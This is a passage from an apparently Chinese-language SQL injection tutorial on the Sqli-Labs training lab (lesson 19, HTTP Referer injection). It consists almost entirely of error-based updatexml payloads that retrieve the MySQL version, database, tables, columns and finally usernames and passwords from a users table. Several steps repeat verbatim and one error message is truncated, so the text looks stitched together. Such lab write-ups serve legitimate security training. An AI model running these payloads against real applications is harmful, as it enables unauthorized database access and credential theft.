' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),0x7e),1) or '1'='1
复制代码
5.获取字段内容
当我们使用下面的语句时,会报错Subquery returns more than 1 ro
' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users),0x7e),1) or '1'='1
复制代码
返回的数据有多行,我们可以使用limit限制其只返回一条数据
' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1) or '1'='1
复制代码
3.HTTP Referer注入
以Sqli-Lab19为例
' or '1'='1
复制代码
1.查看版本
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
复制代码
2.查看数据库
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1
复制代码
3.得到数据库security,获取数据表
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or '1'='1
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),0x7e),1) or '1'='1
复制代码
5.获取字段内容
当我们使用下面的语句时,会报错Subquery returns more than 1 row
' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users),0x7e),1) or '1'='1
复制代码
返回的数据有多行,我们可以使用limit限制其只返回一条数据
' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1) or '1'='1